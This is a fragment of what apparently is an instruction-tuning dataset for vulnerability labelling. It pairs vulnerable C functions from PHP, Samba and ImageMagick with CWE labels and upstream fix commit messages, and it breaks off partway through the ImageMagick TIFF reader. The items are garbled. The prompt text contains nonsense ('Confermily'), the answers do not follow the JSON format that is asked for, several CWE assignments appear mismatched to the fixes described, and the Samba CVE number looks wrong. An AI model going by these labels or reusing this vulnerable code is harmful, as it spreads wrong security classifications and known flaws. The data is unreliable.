Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'Fix bug #72262 - do not overflow int'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: SPL_METHOD(SplFileInfo, __construct)\n{\n\tspl_filesystem_object *intern;\n\tchar *path;\n\tint len;\n\tzend_error_handling error_handling;\n\n\tzend_replace_error_handling(EH_THROW, spl_ce_RuntimeException, &error_handling TSRMLS_CC);\n\n\tif (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"s\", &path, &len) == FAILURE) {\n\t\tzend_restore_error_handling(&error_handling TSRMLS_CC);\n\t\treturn;\n\t}\n\n\tintern = (spl_filesystem_object*)zend_object_store_get_object(getThis() TSRMLS_CC);\n\t\n\tspl_filesystem_info_set_filename(intern, path, len, 1 TSRMLS_CC);\n\n\tzend_restore_error_handling(&error_handling TSRMLS_CC);\n\t\n\t/* intern->type = SPL_FS_INFO; already set */\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'Fix bug #72262 - do not overflow int'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: bool smbXcli_session_is_guest(struct smbXcli_session *session)\n{\n\tif (session == NULL) {\n\t\treturn false;\n\t}\n\n\tif (session->conn == NULL) {\n\t\treturn false;\n\t}\n\n\tif (session->conn->protocol >= PROTOCOL_SMB2_02) {\n\t\tif (session->smb2->session_flags & SMB2_SESSION_FLAG_IS_GUEST) {\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}\n\n\tif (session->smb1.action & SMB_SETUP_GUEST) {\n\t\treturn true;\n\t}\n\n\treturn false;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-94'], 'message': 'CVE-2016-2019: libcli/smb: don't allow guest sessions if we require signing\n\nNote real anonymous sessions (with \"\" as username) don't hit this\nas we don't even call smb2cli_session_set_session_key() in that case.\n\nBUG: https://bugzilla.samba.org/show_bug.cgi?id=11860\n\nSigned-off-by: Stefan Metzmacher '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static zend_bool php_auto_globals_create_env(const char *name, uint name_len TSRMLS_DC)\n{\n\tzval *env_vars = NULL;\n\tALLOC_ZVAL(env_vars);\n\tarray_init(env_vars);\n\tINIT_PZVAL(env_vars);\n\tif (PG(http_globals)[TRACK_VARS_ENV]) {\n\t\tzval_ptr_dtor(&PG(http_globals)[TRACK_VARS_ENV]);\n\t}\n\tPG(http_globals)[TRACK_VARS_ENV] = env_vars;\n\t\n\tif (PG(variables_order) && (strchr(PG(variables_order),'E') || strchr(PG(variables_order),'e'))) {\n\t\tphp_import_environment_variables(PG(http_globals)[TRACK_VARS_ENV] TSRMLS_CC);\n\t}\n\n\tzend_hash_update(&EG(symbol_table), name, name_len + 1, &PG(http_globals)[TRACK_VARS_ENV], sizeof(zval *), NULL);\n\tZ_ADDREF_P(PG(http_globals)[TRACK_VARS_ENV]);\n\n\treturn 0; /* don't rearm */\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-601'], 'message': 'Fix for HTTP_PROXY issue.\n\nThe following changes are made:\n- _SERVER/_ENV only has HTTP_PROXY if the local environment has it,\n and only one from the environment.\n- getenv('HTTP_PROXY') only returns one from the local environment\n- getenv has optional second parameter, telling it to only consider\n local environment'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static zend_bool php_auto_globals_create_get(const char *name, uint name_len TSRMLS_DC)\n{\n\tzval *vars;\n\n\tif (PG(variables_order) && (strchr(PG(variables_order),'G') || strchr(PG(variables_order),'g'))) {\n\t\tsapi_module.treat_data(PARSE_GET, NULL, NULL TSRMLS_CC);\n\t\tvars = PG(http_globals)[TRACK_VARS_GET];\n\t} else {\n\t\tALLOC_ZVAL(vars);\n\t\tarray_init(vars);\n\t\tINIT_PZVAL(vars);\n\t\tif (PG(http_globals)[TRACK_VARS_GET]) {\n\t\t\tzval_ptr_dtor(&PG(http_globals)[TRACK_VARS_GET]);\n\t\t}\n\t\tPG(http_globals)[TRACK_VARS_GET] = vars;\n\t}\n\n\tzend_hash_update(&EG(symbol_table), name, name_len + 1, &vars, sizeof(zval *), NULL);\n\tZ_ADDREF_P(vars);\n\t\n\treturn 0; /* don't rearm */\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-601'], 'message': 'Fix for HTTP_PROXY issue.\n\nThe following changes are made:\n- _SERVER/_ENV only has HTTP_PROXY if the local environment has it,\n and only one from the environment.\n- getenv('HTTP_PROXY') only returns one from the local environment\n- getenv has optional second parameter, telling it to only consider\n local environment'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static Image *ReadTIFFImage(const ImageInfo *image_info,\n ExceptionInfo *exception)\n{\n const char\n *option;\n\n float\n *chromaticity,\n x_position,\n y_position,\n x_resolution,\n y_resolution;\n\n Image\n *image;\n\n int\n tiff_status;\n\n MagickBooleanType\n status;\n\n MagickSizeType\n number_pixels;\n\n QuantumInfo\n *quantum_info;\n\n QuantumType\n quantum_type;\n\n register ssize_t\n i;\n\n size_t\n pad;\n\n ssize_t\n y;\n\n TIFF\n *tiff;\n\n TIFFMethodType\n method;\n\n uint16\n compress_tag,\n bits_per_sample,\n endian,\n extra_samples,\n interlace,\n max_sample_value,\n min_sample_value,\n orientation,\n pages,\n photometric,\n *sample_info,\n sample_format,\n samples_per_pixel,\n units,\n value;\n\n uint32\n height,\n rows_per_strip,\n width;\n\n unsigned char\n *pixels;\n\n /*\n Open image.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n if (image_info->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n image_info->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n image=AcquireImage(image_info,exception);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n (void) SetMagickThreadValue(tiff_exception,exception);\n tiff=TIFFClientOpen(image->filename,\"rb\",(thandle_t) image,TIFFReadBlob,\n TIFFWriteBlob,TIFFSeekBlob,TIFFCloseBlob,TIFFGetBlobSize,TIFFMapBlob,\n TIFFUnmapBlob);\n if (tiff == (TIFF *) NULL)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n if (image_info->number_scenes != 0)\n {\n /*\n Generate blank images for subimage specification (e.g. image.tif[4].\n We need to check the number of directores because it is possible that\n the subimage(s) are stored in the photoshop profile.\n */\n if (image_info->scene < (size_t) TIFFNumberOfDirectories(tiff))\n {\n for (i=0; i < (ssize_t) image_info->scene; i++)\n {\n status=TIFFReadDirectory(tiff) != 0 ? MagickTrue : MagickFalse;\n if (status == MagickFalse)\n {\n TIFFClose(tiff);\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n AcquireNextImage(image_info,image,exception);\n if (GetNextImageInList(image) == (Image *) NULL)\n {\n TIFFClose(tiff);\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n image=SyncNextImageInList(image);\n }\n }\n }\n do\n {\nDisableMSCWarning(4127)\n if (0 && (image_info->verbose != MagickFalse))\n TIFFPrintDirectory(tiff,stdout,MagickFalse);\nRestoreMSCWarning\n if ((TIFFGetField(tiff,TIFFTAG_IMAGEWIDTH,&width) != 1) ||\n (TIFFGetField(tiff,TIFFTAG_IMAGELENGTH,&height) != 1) ||\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_COMPRESSION,&compress_tag) != 1) ||\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_FILLORDER,&endian) != 1) ||\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_PLANARCONFIG,&interlace) != 1) ||\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_SAMPLESPERPIXEL,&samples_per_pixel) != 1) ||\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_BITSPERSAMPLE,&bits_per_sample) != 1) ||\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_SAMPLEFORMAT,&sample_format) != 1) ||\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_MINSAMPLEVALUE,&min_sample_value) != 1) ||\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_MAXSAMPLEVALUE,&max_sample_value) != 1) ||\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_PHOTOMETRIC,&photometric) != 1))\n {\n TIFFClose(tiff);\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n if (sample_format == SAMPLEFORMAT_IEEEFP)\n (void) SetImageProperty(image,\"quantum:format\",\"floating-point\",\n exception);\n switch (photometric)\n {\n case PHOTOMETRIC_MINISBLACK:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"min-is-black\",\n exception);\n break;\n }\n case PHOTOMETRIC_MINISWHITE:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"min-is-white\",\n exception);\n break;\n }\n case PHOTOMETRIC_PALETTE:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"palette\",exception);\n break;\n }\n case PHOTOMETRIC_RGB:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"RGB\",exception);\n break;\n }\n case PHOTOMETRIC_CIELAB:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"CIELAB\",exception);\n break;\n }\n case PHOTOMETRIC_LOGL:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"CIE Log2(L)\",\n exception);\n break;\n }\n case PHOTOMETRIC_LOGLUV:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"LOGLUV\",exception);\n break;\n }\n#if defined(PHOTOMETRIC_MASK)\n case PHOTOMETRIC_MASK:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"MASK\",exception);\n break;\n }\n#endif\n case PHOTOMETRIC_SEPARATED:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"separated\",exception);\n break;\n }\n case PHOTOMETRIC_YCBCR:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"YCBCR\",exception);\n break;\n }\n default:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"unknown\",exception);\n break;\n }\n }\n if (image->debug != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\"Geometry: %ux%u\",\n (unsigned int) width,(unsigned int) height);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\"Interlace: %u\",\n interlace);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \"Bits per sample: %u\",bits_per_sample);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \"Min sample value: %u\",min_sample_value);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \"Max sample value: %u\",max_sample_value);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\"Photometric \"\n \"interpretation: %s\",GetImageProperty(image,\"tiff:photometric\",\n exception));\n }\n image->columns=(size_t) width;\n image->rows=(size_t) height;\n image->depth=(size_t) bits_per_sample;\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\"Image depth: %.20g\",\n (double) image->depth);\n image->endian=MSBEndian;\n if (endian == FILLORDER_LSB2MSB)\n image->endian=LSBEndian;\n#if defined(MAGICKCORE_HAVE_TIFFISBIGENDIAN)\n if (TIFFIsBigEndian(tiff) == 0)\n {\n (void) SetImageProperty(image,\"tiff:endian\",\"lsb\",exception);\n image->endian=LSBEndian;\n }\n else\n {\n (void) SetImageProperty(image,\"tiff:endian\",\"msb\",exception);\n image->endian=MSBEndian;\n }\n#endif\n if ((photometric == PHOTOMETRIC_MINISBLACK) ||\n (photometric == PHOTOMETRIC_MINISWHITE))\n SetImageColorspace(image,GRAYColorspace,exception);\n if (photometric == PHOTOMETRIC_SEPARATED)\n SetImageColorspace(image,CMYKColorspace,exception);\n if (photometric == PHOTOMETRIC_CIELAB)\n SetImageColorspace(image,LabColorspace,exception);\n TIFFGetProfiles(tiff,image,image_info->ping,exception);\n TIFFGetProperties(tiff,image,exception);\n option=GetImageOption(image_info,\"tiff:exif-properties\");\n if (IsStringFalse(option) == MagickFalse) /* enabled by default */\n TIFFGetEXIFProperties(tiff,image,exception);\n (void) TIFFGetFieldDefaulted(tiff,TIFFTAG_SAMPLESPERPIXEL,\n &samples_per_pixel);\n if ((TIFFGetFieldDefaulted(tiff,TIFFTAG_XRESOLUTION,&x_resolution) == 1) &&\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_YRESOLUTION,&y_resolution) == 1))\n {\n image->resolution.x=x_resolution;\n image->resolution.y=y_resolution;\n }\n if (TIFFGetFieldDefaulted(tiff,TIFFTAG_RESOLUTIONUNIT,&units) == 1)\n {\n if (units == RESUNIT_INCH)\n image->units=PixelsPerInchResolution;\n if (units == RESUNIT_CENTIMETER)\n image->units=PixelsPerCentimeterResolution;\n }\n if ((TIFFGetFieldDefaulted(tiff,TIFFTAG_XPOSITION,&x_position) == 1) &&\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_YPOSITION,&y_position) == 1))\n {\n image->page.x=(ssize_t) ceil(x_position*image->resolution.x-0.5);\n image->page.y=(ssize_t) ceil(y_position*image->resolution.y-0.5);\n }\n if (TIFFGetFieldDefaulted(tiff,TIFFTAG_ORIENTATION,&orientation) == 1)\n image->orientation=(OrientationType) orientation;\n if (TIFFGetField(tiff,TIFFTAG_WHITEPOINT,&chromaticity) == 1)\n {\n if (chromaticity != (float *) NULL)\n {\n image->chromaticity.white_point.x=chromaticity[0];\n image->chromaticity.white_point.y=chromaticity[1];\n }\n }\n if (TIFFGetField(tiff,TIFFTAG_PRIMARYCHROMATICITIES,&chromaticity) == 1)\n {\n if (chromaticity != (float *) NULL)\n {\n image->chromaticity.red_primary.x=chromaticity[0];\n image->chromaticity.red_primary.y=chromaticity[1];\n image->chromaticity.green_primary.x=chromaticity[2];\n image->chromaticity.green_primary.y=chromaticity[3];\n image->chromaticity.blue_primary.x=chromaticity[4];\n image->chromaticity.blue_primary.y=chromaticity[5];\n }\n }\n#if defined(MAGICKCORE_HAVE_TIFFISCODECCONFIGURED) || (TIFFLIB_VERSION > 20040919)\n if ((compress_tag != COMPRESSION_NONE) &&\n (TIFFIsCODECConfigured(compress_tag) == 0))\n {\n TIFFClose(tiff);\n ThrowReaderException(CoderError,\"CompressNotSupported\");\n }\n#endif\n switch (compress_tag)\n {\n case COMPRESSION_NONE: image->compression=NoCompression; break;\n case COMPRESSION_CCITTFAX3: image->compression=FaxCompression; break;\n case COMPRESSION_CCITTFAX4: image->compression=Group4Compression; break;\n case COMPRESSION_JPEG:\n {\n image->compression=JPEGCompression;\n#if defined(JPEG_SUPPORT)\n {\n char\n sampling_factor[MagickPathExtent];\n\n int\n tiff_status;\n\n uint16\n horizontal,\n vertical;\n\n tiff_status=TIFFGetFieldDefaulted(tiff,TIFFTAG_YCBCRSUBSAMPLING,\n &horizontal,&vertical);\n if (tiff_status == 1)\n {\n (void) FormatLocaleString(sampling_factor,MagickPathExtent,\n \"%dx%d\",horizontal,vertical);\n (void) SetImageProperty(image,\"jpeg:sampling-factor\",\n sampling_factor,exception);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \"Sampling Factors: %s\",sampling_factor);\n }\n }\n#endif\n break;\n }\n case COMPRESSION_OJPEG: image->compression=JPEGCompression; break;\n#if defined(COMPRESSION_LZMA)\n case COMPRESSION_LZMA: image->compression=LZMACompression; break;\n#endif\n case COMPRESSION_LZW: image->compression=LZWCompression; break;\n case COMPRESSION_DEFLATE: image->compression=ZipCompression; break;\n case COMPRESSION_ADOBE_DEFLATE: image->compression=ZipCompression; break;\n default: image->compression=RLECompression; break;\n }\n /*\n Allocate memory for the image and pixel buffer.\n */\n quantum_info=AcquireQuantumInfo(image_info,image);\n if (quantum_info == (QuantumInfo *) NULL)\n {\n TIFFClose(tiff);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n if (sample_format == SAMPLEFORMAT_UINT)\n status=SetQuantumFormat(image,quantum_info,UnsignedQuantumFormat);\n if (sample_format == SAMPLEFORMAT_INT)\n status=SetQuantumFormat(image,quantum_info,SignedQuantumFormat);\n if (sample_format == SAMPLEFORMAT_IEEEFP)\n status=SetQuantumFormat(image,quantum_info,FloatingPointQuantumFormat);\n if (status == MagickFalse)\n {\n TIFFClose(tiff);\n quantum_info=DestroyQuantumInfo(quantum_info);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n status=MagickTrue;\n switch (photometric)\n {\n case PHOTOMETRIC_MINISBLACK:\n {\n quantum_info->min_is_white=MagickFalse;\n break;\n }\n case PHOTOMETRIC_MINISWHITE:\n {\n quantum_info->min_is_white=MagickTrue;\n break;\n }\n default:\n break;\n }\n tiff_status=TIFFGetFieldDefaulted(tiff,TIFFTAG_EXTRASAMPLES,&extra_samples,\n &sample_info);\n if (tiff_status == 1)\n {\n (void) SetImageProperty(image,\"tiff:alpha\",\"unspecified\",exception);\n if (extra_samples == 0)\n {\n if ((samples_per_pixel == 4) && (photometric == PHOTOMETRIC_RGB))\n image->alpha_trait=BlendPixelTrait;\n }\n else\n for (i=0; i < extra_samples; i++)\n {\n image->alpha_trait=BlendPixelTrait;\n if (sample_info[i] == EXTRASAMPLE_ASSOCALPHA)\n {\n SetQuantumAlphaType(quantum_info,DisassociatedQuantumAlpha);\n (void) SetImageProperty(image,\"tiff:alpha\",\"associated\",\n exception);\n }\n else\n if (sample_info[i] == EXTRASAMPLE_UNASSALPHA)\n (void) SetImageProperty(image,\"tiff:alpha\",\"unassociated\",\n exception);\n }\n }\n if ((photometric == PHOTOMETRIC_PALETTE) &&\n (pow(2.0,1.0*bits_per_sample) <= MaxColormapSize))\n {\n size_t\n colors;\n\n colors=(size_t) GetQuantumRange(bits_per_sample)+1;\n if (AcquireImageColormap(image,colors,exception) == MagickFalse)\n {\n TIFFClose(tiff);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n }\n value=(unsigned short) image->scene;\n if (TIFFGetFieldDefaulted(tiff,TIFFTAG_PAGENUMBER,&value,&pages) == 1)\n image->scene=value;\n if (image->storage_class == PseudoClass)\n {\n int\n tiff_status;\n\n size_t\n range;\n\n uint16\n *blue_colormap,\n *green_colormap,\n *red_colormap;\n\n /*\n Initialize colormap.\n */\n tiff_status=TIFFGetField(tiff,TIFFTAG_COLORMAP,&red_colormap,\n &green_colormap,&blue_colormap);\n if (tiff_status == 1)\n {\n if ((red_colormap != (uint16 *) NULL) &&\n (green_colormap != (uint16 *) NULL) &&\n (blue_colormap != (uint16 *) NULL))\n {\n range=255; /* might be old style 8-bit colormap */\n for (i=0; i < (ssize_t) image->colors; i++)\n if ((red_colormap[i] >= 256) || (green_colormap[i] >= 256) ||\n (blue_colormap[i] >= 256))\n {\n range=65535;\n break;\n }\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n image->colormap[i].red=ClampToQuantum(((double)\n QuantumRange*red_colormap[i])/range);\n image->colormap[i].green=ClampToQuantum(((double)\n QuantumRange*green_colormap[i])/range);\n image->colormap[i].blue=ClampToQuantum(((double)\n QuantumRange*blue_colormap[i])/range);\n }\n }\n }\n if (image->alpha_trait == UndefinedPixelTrait)\n image->depth=GetImageDepth(image,exception);\n }\n if (image_info->ping != MagickFalse)\n {\n if (image_info->number_scenes != 0)\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n {\n quantum_info=DestroyQuantumInfo(quantum_info);\n break;\n }\n goto next_tiff_frame;\n }\n status=SetImageExtent(image,image->columns,image->rows,exception);\n if (status == MagickFalse)\n return(DestroyImageList(image));\n method=ReadGenericMethod;\n if (TIFFGetField(tiff,TIFFTAG_ROWSPERSTRIP,&rows_per_strip) == 1)\n {\n char\n value[MagickPathExtent];\n\n method=ReadStripMethod;\n (void) FormatLocaleString(value,MagickPathExtent,\"%u\",\n (unsigned int) rows_per_strip);\n (void) SetImageProperty(image,\"tiff:rows-per-strip\",value,exception);\n }\n if ((samples_per_pixel >= 2) && (interlace == PLANARCONFIG_CONTIG))\n method=ReadRGBAMethod;\n if ((samples_per_pixel >= 2) && (interlace == PLANARCONFIG_SEPARATE))\n method=ReadCMYKAMethod;\n if ((photometric != PHOTOMETRIC_RGB) &&\n (photometric != PHOTOMETRIC_CIELAB) &&\n (photometric != PHOTOMETRIC_SEPARATED))\n method=ReadGenericMethod;\n if (image->storage_class == PseudoClass)\n method=ReadSingleSampleMethod;\n if ((photometric == PHOTOMETRIC_MINISBLACK) ||\n (photometric == PHOTOMETRIC_MINISWHITE))\n method=ReadSingleSampleMethod;\n if ((photometric != PHOTOMETRIC_SEPARATED) &&\n (interlace == PLANARCONFIG_SEPARATE) && (bits_per_sample < 64))\n method=ReadGenericMethod;\n if (image->compression == JPEGCompression)\n method=GetJPEGMethod(image,tiff,photometric,bits_per_sample,\n samples_per_pixel);\n if (compress_tag == COMPRESSION_JBIG)\n method=ReadStripMethod;\n if (TIFFIsTiled(tiff) != MagickFalse)\n method=ReadTileMethod;\n quantum_info->endian=LSBEndian;\n quantum_type=RGBQuantum;\n pixels=(unsigned char *) GetQuantumPixels(quantum_info);\n switch (method)\n {\n case ReadSingleSampleMethod:\n {\n /*\n Convert TIFF image to PseudoClass MIFF image.\n */\n quantum_type=IndexQuantum;\n pad=(size_t) MagickMax((size_t) samples_per_pixel-1,0);\n if (image->alpha_trait != UndefinedPixelTrait)\n {\n if (image->storage_class != PseudoClass)\n {\n quantum_type=samples_per_pixel == 1 ? AlphaQuantum :\n GrayAlphaQuantum;\n pad=(size_t) MagickMax((size_t) samples_per_pixel-2,0);\n }\n else\n {\n quantum_type=IndexAlphaQuantum;\n pad=(size_t) MagickMax((size_t) samples_per_pixel-2,0);\n }\n }\n else\n if (image->storage_class != PseudoClass)\n {\n quantum_type=GrayQuantum;\n pad=(size_t) MagickMax((size_t) samples_per_pixel-1,0);\n }\n status=SetQuantumPad(image,quantum_info,pad*((bits_per_sample+7) >> 3));\n if (status == MagickFalse)\n {\n TIFFClose(tiff);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n pixels=(unsigned char *) GetQuantumPixels(quantum_info);\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n int\n status;\n\n register Quantum\n *magick_restrict q;\n\n status=TIFFReadPixels(tiff,bits_per_sample,0,y,(char *) pixels);\n if (status == -1)\n break;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n (void) ImportQuantumPixels(image,(CacheView *) NULL,quantum_info,\n quantum_type,pixels,exception);\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n case ReadRGBAMethod:\n {\n /*\n Convert TIFF image to DirectClass MIFF image.\n */\n pad=(size_t) MagickMax((size_t) samples_per_pixel-3,0);\n quantum_type=RGBQuantum;\n if (image->alpha_trait != UndefinedPixelTrait)\n {\n quantum_type=RGBAQuantum;\n pad=(size_t) MagickMax((size_t) samples_per_pixel-4,0);\n }\n if (image->colorspace == CMYKColorspace)\n {\n pad=(size_t) MagickMax((size_t) samples_per_pixel-4,0);\n quantum_type=CMYKQuantum;\n if (image->alpha_trait != UndefinedPixelTrait)\n {\n quantum_type=CMYKAQuantum;\n pad=(size_t) MagickMax((size_t) samples_per_pixel-5,0);\n }\n }\n status=SetQuantumPad(image,quantum_info,pad*((bits_per_sample+7) >> 3));\n if (status == MagickFalse)\n {\n TIFFClose(tiff);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n pixels=(unsigned char *) GetQuantumPixels(quantum_info);\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n int\n status;\n\n register Quantum\n *magick_restrict q;\n\n status=TIFFReadPixels(tiff,bits_per_sample,0,y,(char *) pixels);\n if (status == -1)\n break;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n (void) ImportQuantumPixels(image,(CacheView *) NULL,quantum_info,\n quantum_type,pixels,exception);\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n case ReadCMYKAMethod:\n {\n /*\n Convert TIFF image to DirectClass MIFF image.\n */\n for (i=0; i < (ssize_t) samples_per_pixel; i++)\n {\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n register Quantum\n *magick_restrict q;\n\n int\n status;\n\n status=TIFFReadPixels(tiff,bits_per_sample,(tsample_t) i,y,(char *)\n pixels);\n if (status == -1)\n break;\n q=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n if (image->colorspace != CMYKColorspace)\n switch (i)\n {\n case 0: quantum_type=RedQuantum; break;\n case 1: quantum_type=GreenQuantum; break;\n case 2: quantum_type=BlueQuantum; break;\n case 3: quantum_type=AlphaQuantum; break;\n default: quantum_type=UndefinedQuantum; break;\n }\n else\n switch (i)\n {\n case 0: quantum_type=CyanQuantum; break;\n case 1: quantum_type=MagentaQuantum; break;\n case 2: quantum_type=YellowQuantum; break;\n case 3: quantum_type=BlackQuantum; break;\n case 4: quantum_type=AlphaQuantum; break;\n default: quantum_type=UndefinedQuantum; break;\n }\n (void) ImportQuantumPixels(image,(CacheView *) NULL,quantum_info,\n quantum_type,pixels,exception);\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n }\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n case ReadYCCKMethod:\n {\n pixels=(unsigned char *) GetQuantumPixels(quantum_info);\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n int\n status;\n\n register Quantum\n *magick_restrict q;\n\n register ssize_t\n x;\n\n unsigned char\n *p;\n\n status=TIFFReadPixels(tiff,bits_per_sample,0,y,(char *) pixels);\n if (status == -1)\n break;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n p=pixels;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n SetPixelCyan(image,ScaleCharToQuantum(ClampYCC((double) *p+\n (1.402*(double) *(p+2))-179.456)),q);\n SetPixelMagenta(image,ScaleCharToQuantum(ClampYCC((double) *p-\n (0.34414*(double) *(p+1))-(0.71414*(double ) *(p+2))+\n 135.45984)),q);\n SetPixelYellow(image,ScaleCharToQuantum(ClampYCC((double) *p+\n (1.772*(double) *(p+1))-226.816)),q);\n SetPixelBlack(image,ScaleCharToQuantum((unsigned char) *(p+3)),q);\n q+=GetPixelChannels(image);\n p+=4;\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n case ReadStripMethod:\n {\n register uint32\n *p;\n\n /*\n Convert stripped TIFF image to DirectClass MIFF image.\n */\n i=0;\n p=(uint32 *) NULL;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n register ssize_t\n x;\n\n register Quantum\n *magick_restrict q;\n\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n if (i == 0)\n {\n if (TIFFReadRGBAStrip(tiff,(tstrip_t) y,(uint32 *) pixels) == 0)\n break;\n i=(ssize_t) MagickMin((ssize_t) rows_per_strip,(ssize_t)\n image->rows-y);\n }\n i--;\n p=((uint32 *) pixels)+image->columns*i;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n SetPixelRed(image,ScaleCharToQuantum((unsigned char)\n (TIFFGetR(*p))),q);\n SetPixelGreen(image,ScaleCharToQuantum((unsigned char)\n (TIFFGetG(*p))),q);\n SetPixelBlue(image,ScaleCharToQuantum((unsigned char)\n (TIFFGetB(*p))),q);\n if (image->alpha_trait != UndefinedPixelTrait)\n SetPixelAlpha(image,ScaleCharToQuantum((unsigned char)\n (TIFFGetA(*p))),q);\n p++;\n q+=GetPixelChannels(image);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n case ReadTileMethod:\n {\n register uint32\n *p;\n\n uint32\n *tile_pixels,\n columns,\n rows;\n\n /*\n Convert tiled TIFF image to DirectClass MIFF image.\n */\n if 